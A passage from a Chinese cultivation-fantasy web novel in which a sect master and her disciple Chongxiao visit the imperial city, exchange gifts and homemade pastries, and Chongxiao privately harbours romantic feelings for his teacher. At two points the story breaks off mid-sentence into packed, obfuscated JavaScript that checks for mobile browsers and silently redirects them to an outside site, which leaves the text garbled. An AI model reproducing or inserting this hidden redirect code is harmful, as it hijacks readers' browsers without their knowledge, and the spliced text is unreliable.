出了阵后,迎面而来的是皇城的喧嚷与繁华,城内的居民早已习惯了大街上突然有人凭空出现,对此见怪不怪。哪怕城中近日并无盛事,如注的人流也险些把二人冲散。 重霄侧身避开人群,握住了梁惜因的手。这一刻,他才觉心中安定了下来。 梁惜因在前面走着,回头冲他笑道:“还没来皇城玩过吧?也别光顾着练功了,今日来好好放松一番。” “好。”重霄无有不应。他以前也是来过皇城的,这皇城繁盛到了极点,也势利到了极点,见他衣着破烂、满脸脏污,多数人看都懒得看他一眼。且城内鱼龙混杂,有些修士见他孤身一人,就想将他捉回去试炼邪法。 是以他那时只会在夜间出来,白天就混迹在那些逼仄的小巷中,没过多久就主动离开了。夜色就是他最亲密的朋友,包容着与整个世界都格格不入的他。他当时就算身处在皇城中,内心也觉着这皇城离他是如此遥远。 重霄注视着面前的纤影。就如有些人,明明就在身边,却还是让他感到遥不可及。 “阿霄,你想吃荔枝膏吗?”梁惜因的声音让重霄骤然回过神来,他看向她眼里闪烁着的光彩,顿时心领神会,应道:“想。” 说是带他来玩,估计主要还是梁惜因自己心中想来。重霄暗自摇了摇头,唇角含笑。 “好,为师去给你买。”这一买自然是买两份。梁惜因舀了一勺入口,口感香甜软糯,她期待地望向重霄:“味道如何?” 说实话,重霄只尝到了甜。他对吃食一向没什么兴致,但他能看出来梁惜因很喜欢,便回道:“很好。” 接下来整整一个下午,两人间发生最多的对话便是: “阿霄,你想吃这个吗?” “想。” “好吃吗?” “好吃。” 一路下来,梁惜因买的大多是甜食,重霄在旁默默记下了自家师尊的口味。时值黄昏,梁惜因从一家点心铺中出来,把手上提着的一大包点心使劲往乾坤袋中塞:“这些带回去给阿谧和长天他们。” 她说完后抬头,见重霄目光落在对街的一家饰品铺上,便问:“要去看看么?” 重霄点头。两人走入铺中,店家见他们气度不凡,明摆着是修仙之人,立马谄笑着迎上前来:“二位仙长,来买些什么?” 梁惜因见重霄不语,便替他答道:“无事,我们随意看看。” 这便是让他别打搅的意思了,这店家也是个机灵的,立即说:“那您二位慢看,有何需要随时唤我。” 待他走后,梁惜因环视了一圈店内,问重霄道:“怎么突然想起要买这些东西了?” 重霄默了默,说:“我想买了送与师兄师姐。” 梁惜因一怔,心头涌上几分意外。此前还有人说重霄不近人情,简直是无稽之谈,她的小徒儿分明乖巧懂事得很! “你的银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14808493|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱可够?可要为师助你一些?”她说。 “不必,”重霄拒绝得很快,“之前接宗内委托,我已攒下了不少钱。” “好,那你先挑着。阿谧和长天收到后,心中定然欢喜。” 许是也想到了那副场景,重霄笑着应声:“嗯。” 他身上虽有银钱,但到底不多,挑了许久才挑出一枚玉佩和一颗夜明珠,店家替他把东西包装好,嘴里还不忘说道:“仙长,以后常来啊!” 重霄不语,快步走出铺子。梁惜因就站在铺外等着他,见他出来了,便说:“选好了?” “好了。”在他张嘴答话的一瞬间,梁惜因眼疾手快地往他嘴中塞了一样东西。重霄一惊,却仍旧不闪不避。甜味在口腔中弥散开,他目光下移,伸手从梁惜因手中接过签子,“糖葫芦?”他含糊不清地问道。 “不错,我方才出来见别的小孩手上都有,那怎么能少得了我们阿霄的呢?”梁惜因眉目带笑。 重霄咬着口中的那颗糖葫芦,糖衣破开,里头山楂的酸味渐渐溢了出来。他并不想让梁惜因将他当作小孩看待,可他们之间这师徒的身份,又注定了他在她眼中一直都是个后辈。 “怎么了?不喜欢么?”梁惜因观察着他的神情。 “喜欢。”重霄又咬下一颗,脸颊微微鼓起。 梁惜因轻笑出声:“喜欢就好。” 待到月上柳梢之时,二人才回了宗门。重霄和梁惜因分别后,独自向自己的院落走去。走近后,他却见院门口立着个白衣少年,他定睛看了看,颇觉意外地唤道:“师兄?” 纪长天身子一颤,循声望向他:“师弟,你回来啦。” 重霄快步走向他:“师兄是何时来的?等多久了?” 纪长天淡笑道:“没多久,我也是才来。” “是吗?”重霄目光移向他的衣摆。夏日的夜晚,无论是草叶还是树叶都或多或少地沾了些露水,若是真如纪长天所言,他的衣摆应是有些湿的。而他的衣摆这般干燥,显然是在他院门处的这块空地站了许久。 纪长天不明所以,下意识地将衣摆藏了藏:“怎、怎么了吗,师弟?” “无事。”重霄没有拆穿他,走上前把院门打开,“师兄,进来坐吧。” 烛火被点燃,重霄在桌上置了两盏温茶,主动问道:“不知师兄此来所为何事?” 纪长天双手叠放在膝盖上,看向他的目光平和温润,还隐隐带着些担忧:“我来是想告诉师弟,开阳峰那些人说的话都不算数。师弟是很好的人,从不是什么异类。” 像是春溪流淌过心房,重霄弯了弯唇角:“无事,那些话我已不在意了。” “当真?”纪长天歪着头,想要把他的神情看得更清楚些。 “千真万确。”重霄说。 纪长天也不知信没信,他收回视线,半低着头,看上去有些紧张:“有件事...不知师尊可有和师弟说过。” “何事?”重霄问。 纪长天没回话,他深吸一口气,似是在做着心理准备。不多时,重霄就亲眼看见纪长天背后出现了一对翅膀,洁白的羽毛下覆着黑色的飞羽,是鹤。 重霄:“......?”他眼睛花了? 察觉到重霄的困惑,纪长天难为情地笑笑,说:“我们玄鹤一族,自古便居于合虚山中。机缘巧合之下,我拜入了师尊门下。起初我很害怕,因为我是妖,是人族中的异类。”玄鹤一族生性谦和,久不与外人来往,族中长辈更是屡次告戒他人心险恶。若非梁惜因一直极富耐心地引导着他,带他接触这个合虚山外的世界,他可能早就逃回山中去了。 “不。”重霄正色打断他,“师兄不是异类。” 纪长天弯了弯双眼,扬唇笑道:“既然我不是,那师弟就更不是了。” ...不一样的。重霄的指尖摩挲着杯盏。 “开阳峰的扶峰主,此前也是山林中的一只虎妖,修炼多年才终得化作人形。后又因在人间引发骚乱而被开阳峰前任峰主带回,成了他的亲传弟子,并接任了峰主之位。”纪长天慢慢收着翅膀,“所以师弟,这玄晖宗既是能容得下妖族,便不会容不下你。” 这二人是妖属实是重霄没想到的,他们身上的妖息基本都被灵力给掩盖住了。他注视着纪长天,问道:“师兄今日来,就是为了找我说这些?” “是、是啊,我怕师弟你会不高兴。”纪长天这时又开始怕自己会不会打扰到师弟了。 重霄从乾坤袋中取出装玉佩的木盒,放在桌上推至他眼前,郑重说道:“多谢师兄,师兄所言,我都记下了。还望师兄收下这枚玉佩。” 纪长天打开木盒,好巧不巧,重霄选的这枚玉佩上雕的正是鹤纹。“师弟,你这是...”纪长天难得露出这种惊喜到有些不知所措的神情。 “本来挑选之时,想着这鹤与师兄相配,便买下了。没想到竟是当真如此相配。”重霄的话中也少见的带上了些许玩笑意味,见纪长天喜欢,他才舒了一口气。 “那...那我就收下了。”纪长天也没多做推拒,仔细地将木盒收进袖中,眼角眉梢俱是笑意。 天色也不早了,两人又随口聊了些话,纪长天便起身告辞了,面上的笑意一直不曾落下:“那我先走了,师弟你早些休息。” 69. 点心 空气渐凉,寒冬在不知不觉间席卷了大地。落雪轩的梨花依旧盛放着,层层叠叠,像是过早落于人间的新雪。 屋内,常谧正向梁惜因汇报着近来下山处理异象的经过。梁惜因轻轻颔首:“做得不错。” 常谧面色不变:“这都是弟子应做的。” 梁惜因目光移向窗外,随口说:“宗内的梅花也该开了吧。” “是,下次弟子折几只回来带与师尊。” “你这心是好的,只是我这院中梨树有灵,若是见你带了别的花来,怕是要落你一身的花瓣了。”梁惜因半开玩笑道。 常谧轻笑:“倒是弟子疏忽了。” “师尊。”门口在这时传来敲门声。 “进来吧。”梁惜因话音方落,就见重霄推门进来,携着外头的丝丝寒意。他关上门,见常谧也在,又补了一声“师姐”。 常谧点头。梁惜因视线落向他手中提着的食盒,奇道:“你这是从哪买的吃食?” “是弟子自己做的。”重霄抿了抿唇,很久没感到这么拘谨过了。 “当真?”梁惜因和常谧对视一眼,“那我和你师姐今日可是有口福了。” 重霄将食盒放在桌上打开,热气与香味扑面而来。“好香的点心味,阿霄你是何时学的手艺?”梁惜因不由问道。 “才学没多久,做得不好,还望师尊、师姐见谅。”重霄耳根泛起极为浅淡的红色。 “不会,”梁惜因拢袖捻起一块点心,语气肯定,“既是阿霄做的,那定是极好的。” 常谧也捻起一块,在看清点心的样式后,微不可察地蹙起了眉:“杏仁酥?”她问。 “是。”重霄应得很快。 在常谧下一句话出口前,梁惜因已将手中温热的杏仁酥咬下一半,由衷赞道:“很好吃。阿谧你也尝尝。” 常谧似是有些无奈,她在梁惜因目光的催促下小口咬着点心,如实说:“确实不错,不输山下的点心铺。” 听闻两人此言,重霄才算是放下了心,笑意更深了几分:“师尊和师姐喜欢便好。”他见梁惜因和常谧彼此使着眼神,知她们还有话要说,便主动道:“弟子先告退了。” “好,也别光顾着修炼,多注意休息。”梁惜因见缝插针地叮嘱道。 重霄走后,常谧立时问道:“师尊,你为何不与他明说?” 梁惜因将袖子往上叠,毫不意外地看见了手臂上的红斑。这些红斑密密麻麻,在白皙的皮肤上尤为触目惊心。 “我这小徒儿头一回做点心送来,何必扫了他的兴呢?况且我这涂一遍药就无碍了。若是没我记错,柜中应是备着些过敏药。”她平静地说。 常谧没答话,二话不说地将点心盖子合上了:“这盒杏仁酥我便带走了。” “不行。你总得给我留些吧。”梁惜因抗议道。 “不可,万一症状加重了该如何是好?”常谧不肯让步。 梁惜因:“......” 正僵持不下间,屋门却突然又被打开。重霄立在门口,凌冽的寒风吹动着他的发丝。很显然,他将二人方才的对话全都听清了。 屋内沉默须臾,,常谧很是贴心地道:“弟子告退。”顺便又把门给关上了。 梁惜因:“......”不是,怎么说走就走啊! 见重霄目光落在她露出来的小半截手臂上,梁惜因连忙欲盖弥彰地把袖子往下放了放。不知为何,总觉得有些丢人... 重霄双眉紧拧,走到她身旁半蹲下来,伸手想握住她的手腕,却被梁惜因轻巧地避开了。重霄不语,抬眸注视着她,眼中尽是掩不住的自责与难过。 “师尊...”他轻声唤道。 梁惜因:“......”她彻底败下阵来,任由重霄将她的一只手捧在掌心。罢了,反正已是很丢人了,再丢人一些也无所谓了。 重霄的动作轻之又轻,如柳絮落水般轻抚着那些刺目的红斑。 手臂上传来些微痒意,梁惜因总觉得这幅场景有些不太对劲,整得她心里也乱糟糟的。 “师尊,都怪我,弟子该提前问清楚的。”重霄低下头,将脑袋埋进她的掌心。 梁惜因的心彻底软了下来,她顺势在他脑袋上揉了揉,温声宽慰道:“不知者无罪,为师也没怪你。我倒是许久没尝过杏仁的味道了,此番也是多亏了阿霄。” 重霄不知听没听进去,依旧埋着头,嗓音发闷:“师尊可还有其它过敏的食物?” “并无,放心吧。” 怎么偏偏就这般凑巧。说到底还是他太过疏忽,常谧知晓的事,他却不知提前过问。重霄又在她掌心中蹭了蹭,旋即起身问道:“药在何处?” “卧房床边的小柜中。” 重霄按她所言找出瓷瓶,重又走回梁惜因身侧蹲下,挽起她的袖子要给她上药。梁惜因没有推拒,能让他心里好受些也好。 微凉的药膏被均匀地涂抹于皮肤上,重霄涂得很仔细,也很慢。梁惜因感受着他的指尖落在自己的小臂上,心中那种奇怪的感觉再度涌了上来。 玉衡峰的药自是极好的,几乎是在抹上去的一瞬间,这些红斑就有了淡下去的迹象。待他涂完药后,梁惜因立马把袖子放下,不自在地咳了两声。 屋内一时静谧,只余寒风敲打窗棂之声。梁惜因拿眸光瞥了眼重霄,见他还是垂着头,一脸沮丧,不由轻笑道:“好了,别难过了,不然师尊也要难过了。” “我再去给师尊做一份。”重霄说着就匆匆往门口走去。 梁惜因将他送至院门外:“慢些,为师等着你。” 重霄站在院门口,突然毫无征兆地回过身来,将梁惜因整个人揽入了怀中。他身量越发高了,这般抱着梁惜因的时候,四面的寒风都被挡住了。他将脑袋埋在梁惜因的肩窝处,说出的话径直钻进了她的耳畔:“喜欢师尊...” 最初的吃惊过后,梁惜因无奈地笑了笑,一手轻抚着他的后背,顺着他的话说:“乖徒儿,师尊也喜欢你。” 不多时,重霄再次去而复返,盒中的点心被换成了海棠糕。 梁惜因嗅着海棠糕的甜香,称赞道:“阿霄你竟会这般多花样,这海棠糕瞧着好生精致。” 重霄眉目间含着笑意:“师尊尝尝味道如何。” 梁惜因拿起一块,入口软糯香甜,“味道很好。”她点头道。 只是这简简单单的四个字,就让重霄双眸泛起光彩,他当即说:“师尊若是喜欢,往后我日日都给师尊做。”所以...你可不可以少去些天玑峰? 梁惜因思量少顷,还是问道:“这会不会太麻烦阿霄了?” “不会。”重霄摇头。心甘情愿之事,又怎能称得上是麻烦? “阿因。”屋门被推开,一道高挑的青色身影走了进来。在来落雪轩的人中,不敲门就直接进来的也只有把这当成自己家的梁惜时。 “重霄也在啊。”他走到屋内坐下,见桌上放着点心,自然而然地拿起一块放入嘴中,边品边问:“这海棠糕味道不错,在何处买的?” “是阿霄做的,外边卖的可没这般味美。”梁惜因又将重霄夸了一遍。 梁惜时:“......”口中的点心突然就难以下咽了,一种莫名其妙的危机感遍布了他全身。他瞥了眼乖巧立在一旁的重霄,用手捶了捶胸口把点心咽下,痛心疾首地问梁惜因:“是哥哥做的菜不合你胃口了吗?” 梁惜因:“?” “没有,怎么会。”她简直不知梁惜时为何会这般想。 梁惜时又说:“你若是想吃点心,哥哥回去便给你做。”不就是海棠糕吗,谁还不会做啊! “不必了哥,阿霄做的已是够多了。”梁惜因推拒道。 梁惜时:“......”胸口像是中了一箭,他的妹妹,现在就要把他推开了吗... 偏偏重霄还在这时说道:“梁峰主若是喜欢,何不带些回去?” 他语气很是真诚,梁惜时却硬生生从里头听出了一丝嘲讽来。来不及再犹豫了,他猛地站起向门外走去,只丢下一句:“阿因你等着。”他现在就回去苦练厨艺! 梁惜因:“......”他哥怕是又在脑补什么奇怪的东西了。 - 陵州的冬日向来过得很快,只是仓促下了一场小雪,就急着给春天让路了。 落雪轩内,满院梨花飘香,似在庆祝着这如约而至的春时。梁惜因四人围坐在桌旁,品着埋了整整一年的梨花酿。 扶岳一杯接一杯的下肚,脸上的酡红愈发明显。在他准备继续倒下一杯时,梁惜时拦住了他:“行了,不能喝就别喝。” “我能喝!谁说我不能喝,我还能再喝上个千八百杯!”扶岳不顾他的劝阻,又给自己满上一杯。 梁惜时便也随他去了,这人待会要真喝大了,大不了直接一个阵把他传回开阳峰,让他霍霍自家的那些弟子去。 梁惜因小口抿着杯中清酒,见状问道:“扶岳哥是不是有什么心事?” 谢既微不以为意:“他能有何心事?” 扶岳:“......” 三人:“......”不是,还真有啊?? 谢既微放下酒盏,将手放在扶岳的肩上,很是仗义地道:“惹了什么事尽管说,我们保管帮你摆平。” “去去去。”扶岳一拱肩,把他的手拱了下去。他的视线在三人间来回移着,内心像是在做着什么重大决定。最终,他深吸一口气,往前凑了凑,压低嗓音道:“我告诉你们,你们可千万别说与旁人听。” “自然。”三人也被他挑起了好奇心,向他倾了倾身,结果就听扶岳磨磨蹭蹭地说:“我喜欢上了...一个姑娘。” 三人:“......” 梁惜因双手揉了揉耳朵,天哪,她没听错吧?? 谢既微和梁惜时对视一眼,同时笑出了声,且越笑越停不下来。扶岳那魁梧的身板配上这娇羞的表情实在是太为割裂了。 谢既微再次不长记性的将手搭在了扶岳肩上,笑得眼泪都快出来了:“扶岳,你是在开玩笑吧?” 扶岳:“......”他幽幽地盯着谢既微。 谢既微:“......你是在开玩笑吧?” 一刻钟后,三人不约而同地交叠着双手支撑下巴,严肃地注视着扶岳。梁惜因理着他方才说的那堆颠三倒四的话:“所以你是说,前些时日你下山除魔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他才吐出一个字,扶岳就又把手收了回去,自顾自地往嘴中倒酒:“不行,你还小,不能喝酒。” 重霄:“......”他好像也没说要喝。 他不知扶岳为何会以这种方式出现在天璇峰,但还是规规矩矩地问道:“可有何事是晚辈能为扶峰主做的?” “你陪我坐会就好。”扶岳屈起一条腿,一手提着酒坛,一手撑在身后地面上。 重霄顺着他的视线向前望去,不禁觉着扶岳这地方选得着实是好。此处位于天璇峰的最南端,面前毫无遮挡。赤日将坠未坠,在数座黑青色的山峰间若隐若现。天空被抹成金红色,如焰如锦。几只大雁展着双翅飞过云端,在融融的落日间化为一枚枚黑点,再消失不见。赤红的阳光罩在人身上,带着些微暖意。 也就是在这时,扶岳颇为惆怅地问他道:“重霄,你可有喜欢过什么人?” “有,我喜欢师尊。”重霄答得肯定,扶岳却是直接一口酒喷了出来。 “噗—咳咳咳...”要么是他耳朵坏了,要么是这酒有毒,要么是这世界癫了。他擦了擦唇边的酒,面无表情地又问了一遍:“你说什么?” 重霄以为他没听清,又耐心重复道:“我说,我喜欢师尊。” 扶岳目瞪口呆,他猛地深吸一口气,难以置信地问:“......含盈她...知道这事吗?” “知道,师尊说她也喜欢我。”重霄唇角扬起了一个极浅的弧度。 扶岳:“......” 他低头看向酒坛,隐约从中瞧见了自己的倒影。 他怕是真的喝了假酒。 这种惊天大秘密,连梁惜时都不知道,就被他给撞破了。这一刻,他甚至都开始思考要怎么在梁惜因面前表现才不会露陷。救命,他不会被杀虎灭口吧!! 重霄见他不回话,又兀自说道:“晚辈还喜欢师兄师姐他们。” 扶岳:“......”哦,那没事了。 “你小子下次说话就不能说完整点吗?”会吓死虎的知不知道!扶岳心中大起大落,看向重霄那困惑的眼神,别的话又说不出口了。没想到这小子看着仪表不凡,在这方面却是如此一窍不通。 扶岳莫名想到了以前的自己,顿觉他肩负起了某种责任。虎尾在身后欢快地摇着,他在乾坤袋中翻找了半天才终于翻出一本书来,神秘兮兮地递给重霄:“送你了,你回去偷摸着看,千万别被含盈发现了。万一被发现了也千万别说是我送你的。” 重霄:“?” 见扶岳这做贼心虚的模样,他总觉着这不是什么好东西,更何况还要瞒着师尊。但长辈所赠不便推辞,他也只能恭敬地收下了:“是,晚辈谢过扶峰主。” “小事而已。”扶岳摇晃着站了起来,对他使了个“我看好你”的眼神,随后化作老虎敏捷地跃走了,地上只余一只空荡荡的酒坛。 重霄坐在原处,借着最后的余晖随手翻开了那册书,在看清书中的内容后,却是呼吸一滞,慢慢僵直了身子。 扶岳...到底给了他一本什么书啊??! 70. 寄情 弹指太息,浮云几何。恍惚间又是几度春秋匆匆而逝。 重霄推开落雪轩的院门,几片梨花瓣悠悠地落在他肩头。梁惜因正坐在屋中编写书册,她近来愈发觉着前人所编的阵法要籍要么太过散乱,要么不够全面,便打算自己重新整理一本,也好便于后人学阵。 她没抬头,落笔不停,光是听脚步声就知是谁来了,笑道:“阿霄回来了啊,此次下山历练得如何?” “一切顺利,只是...” “只是什么?”梁惜因抬眸,重霄肩上的一抹血色突兀地撞进了她眼底,“怎么还受伤了,可抹过药了?”她搁下笔,起身将重霄按在椅子上坐下。 “未曾。”重霄如实道。 梁惜因眉头轻蹙:“为何?伤口若不及时处理只会更严重,这话为师同你说过许多次了。” “因为弟子想第一时间见到师尊。”梁惜因话音刚落就听见了重霄的回话。她失笑,从屋里找出装药膏的瓷瓶:“那也不能不顾你自己的身体,师尊就这般重要吗?” 她本意是想逗逗自家的小徒儿,怎料重霄竟无比认真地答道:“嗯。师尊是最重要的。” 梁惜因一时不知该做何反应,心里像是被什么东西给填满,令她唇角越发上扬,没有人会不喜欢自己被重视。 她咳了两声,掩住面上的笑意,将药放进他掌中:“你先把伤口处理了。” 重霄握着瓷瓶,一言不发地仰头望着她,漆黑的瞳孔里除了她再无他物。 “怎么?想让为师帮你涂?”梁惜因挑眉道。 重霄依旧不语,但表达的意思已再明显不过。每当他想达成什么目的,便会用这种眼神注视着她。偏偏梁惜因还就吃这一套,她取过瓷瓶,说:“好了,为师帮你涂就是,怎么还和小孩子一样。” 重霄的神情闪过一丝不易察觉的黯淡,旋即又恢复如常:“多谢师尊。”他褪着衣服,伤口在肩上,他却几乎将上衣褪至腰间,大半个后背都敞露在外。 梁惜因本欲提醒他一声不必脱这么多,但要真这么说出口又觉有哪里不太对,也便随他去了。果然孩子还是长大了啊,不像刚被她捡回来时那般容易害羞了。她挖了些药膏在手指上,轻柔地抹在他的伤处,伤口不深,想必很快就能恢复了。 期间她的视线不由自主地落在重霄的后背上。此前的那些疤痕已消得差不多了,只有几道过深的伤痕仍顽强地不肯淡去、不肯忘记过去的那段岁月。梁惜因的思绪逐渐飘远,手下的力道不禁重了些。 重霄轻嘶一声,扭头望向她,瞧着还有几分委屈。 “为师弄疼你了吗?实在抱歉,一时大意。” “无事,师尊永远不必和我道歉。”音落,重霄仍侧头注视着她。梁惜因本就心虚,这下更加不自在起来,问他道:“看我做甚?” “几日没见师尊了,想把少的补回来。”重霄直白道。 “不行,不让你补。”梁惜因已抹好药了,一手将他的脑袋按了回去。 “师尊好生霸道,这都不允。”重霄故作难过。 “没错,你待如何?”梁惜因将瓷瓶放好,半弯下腰凑在他面前,眼里清光流溢。两人对视几息,同时轻笑出声,梁惜因直起腰,用手指戳了戳他的额角,无奈道:“你啊...” 见梁惜因在编书,重霄便主动在旁给她磨墨,同她说起这次下山历练的经过。对修仙之人而言,有个再简单不过的法术可以用来研墨,但此刻两人都默契的没有提起。 重霄垂眸凝视着梁惜因的侧脸,不愿将目光挪动分毫。她在思索时总习惯微微蹙着眉头,落笔时双唇轻轻开合,似在默念着什么,纤长的睫毛也随着她的每一次眨眼颤动着... 光是这么注视着梁惜因,就令重霄的心跳渐渐不平静起来。他想起几年前扶岳给他的那册书,最初他只觉震惊,原来“喜欢”一词,还有这样一层含义。后来他渐渐意识到,他对梁惜因的喜欢,是与对常谧还有纪长天的喜欢都不同的。 在那些漫长的夜里,他在梦中与自己的师尊厮磨缠绵。醒来后面对的却只有木制屋顶与静谧无言的小院。第一次做这种梦时,他醒来后的第一反应是不可置信,巨大的羞耻感包裹着他,几要将他吞没。他抬手狠狠打了自己一巴掌,重霄,你疯了吗,那是你的师尊,一手将你教导大的师尊啊。 他怎么能...生出这般龌龊的心思。可他愈不去想,梦中的画面就愈发清晰,幽魂般纠缠着他,搅得他时刻不得安生。他简直不知接下来要如何面对梁惜因。最初被带回玄晖宗时,他只是想留在她身边,想时时刻刻都能看到她温柔的笑意,可这份感情是何时开始变质的? 他从不在乎什么所谓的伦理道德,这些东西在他看来简直可笑无比。可若是他这份心思暴露出来,旁人会怎么看待梁惜因?梁惜因又会怎样看待他?重霄不敢去想。 梁惜因是站在云端上的人,是亲手将他拉出泥沼之人,更是他的师。而他,不过是一个比魔族还要卑劣的怪物。是啊...可不就是怪物吗,至少魔族不会爱上自己的师尊。他什么都可以不在乎,唯独接受不了梁惜因用异样的眼神看着他。 此后做梦的次数越来越多,他逐渐习以为常,甚至生出了些隐秘的期待来。也只有在梦中,他才能离他的心上人近一些。这份喜欢不知何时被埋入了他心间,日复一日地生根发芽,令他再无法忽视。他接纳着自己的不堪、恶心、肮脏...并把这些难以启齿的心思藏在心底最深处,不敢显露分毫。 他曾问过梁惜因为何要将他带回来。随着相处日久,他愈发清楚梁惜因的心性,他想知道,是不是换做任何一个人,她都会将他带回宗门悉心教导。梁惜因闻言微愣,似乎从没想过这个问题。片刻后,她像是猜到了他的想法,踮起脚尖揉了揉他的脑袋:“这有什么为何不为何的,只能说明你我有缘。若是换做其他人,我也会将他带回宗门...” 重霄垂下眸子,胸口一阵阵地发闷。是了,他早该想到的,不过光是能来到她身边这件事,就已足够令他庆幸了。 “但我还是会更喜欢我们阿霄。”梁惜因弯着笑眼补充完后半句。 重霄一怔,心口堵着的石块被碧波温柔拂去,他在欣喜之余还有些失落。梁惜因所言的喜欢和他心中的喜欢自是不同的,他不想梁惜因再将他当作小孩看待,又贪念着能以这身份得到的无微不至的关怀,矛盾极了。 有时看着梁惜因与众人谈笑,他会想,师尊若只是他一人的便好了,只对他一人笑,只待在他一人身边,满心满眼都是他...但终究也只是想想而已。皎月的明辉又怎会只倾洒在一人身上?他所求不多,能一直这般待在梁惜因身边看着她就够了,以徒弟的身份。至于其他的...不是他该奢望的。 磨了一会,重霄将墨条放下,从袖中取出一个小小的木匣,动作极轻地放到了梁惜因眼前:“这是弟子送与师尊的。” “嗯?里面是何物?”梁惜因搁下笔,心生好奇。她打开木匣,见是一对玉质清润的白玉耳环。梁惜因拿起一只放在掌中,能感受到里头蕴含的充沛灵力。借着窗外透进来的日光,她清楚地观察到这小小的耳环上雕刻着的如意纹样,精致非常。 梁惜因目不转睛地盯着手中小巧的耳环,眸中闪着细碎的光彩:“阿霄,你这是从何处买的?民间应是没有卖的吧?” 重霄望着她,带着几丝极难察觉的忐忑回道:“不是买的。” “那是请专人打造的?”梁惜因又问。 重霄扬唇道:“是弟子自己做的。” “当真?”梁惜因惊道。梁惜因将耳环放回匣中,握住重霄的双手,果然看见了还没完全消下去的一道道刀痕。心中的惊喜顿时被心疼盖过,“不是有法术吗,你这又是何必呢...”她说。 重霄没回应这话,反而问梁惜因道:“师尊不喜欢吗?” “喜欢,怎会不喜欢。”梁惜因连忙答道。 “那再好不过了。”耳环的用料是他精心挑选的,选好后一边用灵力滋养,一边日复一日地打磨雕刻。这其中所耗的精力自是不少,但能得她一句喜欢,重霄便觉一切都值得。 “你啊...”梁惜因轻抚他手上的伤痕,脑中不由浮现出她的小徒儿手持耳环细细雕琢的模样。 她取下原本佩着的碧色耳环,对他道:“阿霄,你帮我戴上吧。” 重霄一时没反应过来:“...我?” “对。”梁惜因这一声让重霄确认了自己没有听错。 他手足无措地持着耳环,蹲下身慢慢凑近梁惜因的耳畔,呼吸都不由的放缓了。可心跳声却是越来越剧烈,剧烈到重霄生怕梁惜因会察觉到。离得近了,那股浅淡的梨花香萦绕在他鼻尖,几乎令他无法思考。他一动不动地盯着她耳垂上的小洞,迟迟没有下一步动作。 “还没好么?”梁惜因的笑声骤然响在他耳畔。 重霄一惊,手中的耳环都险些掉落在地。他不再迟疑,小心翼翼地将一只耳环给她戴好,手指触碰到她柔软的耳垂,令重霄心中一悸。他收回手,关切地问道:“疼吗?” “不疼,这有何好疼的?”梁惜因笑着反问他。 重霄呼出一口气,也跟着笑起来。这戴好了一只,再戴另一只就显得好上手多了。待重霄轻而又轻地将两只耳环替她戴好后,梁惜因抬手碰了碰一侧的耳环,眼底漾着盈盈笑意:“好看么?”她问。 “好看。”重霄定定地注视着她,答得毫不迟疑。 梁惜因笑意更浓,又问他:“对了,怎么突然想起要给我送这个?” 重霄目光偏移:“没什么,只是想给师尊送些东西。” “这样啊。”梁惜因没多问,转而说:“我下午要去皇城布防护阵,你可要与我同去?还是想留在峰内休息?” 这几乎没什么好犹豫的,重霄立时答道:“我与师尊一同前往。” - 皇城是大盛朝的天子所在之处,加上人口稠密,不少大 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龟甲上的玉面小孩顺着声音扭头,见是梁惜因,他翘起唇角,慢慢悠悠地晃了过来:“含盈,来布阵?” “是。我还买了些点心,前辈带一些回去吧。”她分出几个纸包递过去。 玄仪子毫不客气地接过,笑得两眼弯弯:“哎呀,既是含盈所赠,那我可就收下了。” 梁惜因和玄仪子的私交向来很好,这还要从她幼时说起。那时她刚入玄晖宗没多久,修仙界中举办交流盛会,她师尊没忘了把她也带过去凑个热闹。她那时年纪太小,参加不了擂台赛,在下面待着又觉无聊,便偷偷摸到了负责举办那届盛会的清影门的后厨。 后厨中果如她所料,摆放着许多还未端出去的点心。她拿了一点带走,寻了个角落准备开吃。结果就在那个角落撞见了同样来顺点心偷吃的玄仪子。 四目相对间,两人同时陷入了沉默。梁惜因见玄仪子看上去与她年纪相仿,顺理成章地就以为他是哪个宗门的小弟子,还热情地将自己顺来的点心与他对半分了。 接下来的几日,她都会来这找玄仪子玩,一边“小玄”、“小玄”地唤着,一边惊叹他怎么知道那么多事情。直到盛会的最后一天,她才知道原来她口中的“小玄”就是大名鼎鼎的卜星阁阁主。 得知真相的梁惜因:“......”她就说玄仪子这个名字怎么听上去这么耳熟! 彼时的玄仪子坐在龟甲上,笑吟吟地逗着躲在师尊身后的她:“怎么不叫小玄了?” 梁惜因每每想起这件事都觉丢脸,但不可否认的是,她与玄仪子自那以后就成了极为要好的朋友,常常会写信来往。 玄仪子熟练地将点心装进乾坤袋中,轻抬眼帘看向一旁的重霄:“这便是你那小徒弟?” “弟子重霄,见过玄仪子前辈。”重霄拱手行礼。 “不必多礼。”玄仪子指尖轻动,习惯性地掐了一卦,神情却逐渐凝重起来。他眸光落在重霄眉间的红色纹样上,这命格...分明是几百年难遇的大凶之命!此子要不了多久,定将祸乱世间。 可此人看着分明又很是俊秀知礼,许是和梁惜因待久了,身上都沾染了几分梁惜因独有的温润气质。 他双眉紧拧,沉声问梁惜因道:“你说这孩子是你在大遗野捡到的魔族,一直带在身边教导?” “不错。”梁惜因从未见过玄仪子面上出现这般神色,她虽不知为何,但也肃了面色。 玄仪子目光又移向梁惜因,飞速掐着手指算着,嘴中念念有词。然而越算他心中越是惊疑不定,他此前算过梁惜因的命格,是极好的顺遂无虞之命,可他眼下再算却是什么都算不出来,就如被行云迷雾遮住了般,让他怎么都看不透彻。 他活了很久,看过的命格也称得上是无数,却还是头一回遇到如此古怪的情况。 “前辈?可是出什么事了?”梁惜因见玄仪子一直抿唇不语,不由出口问道。 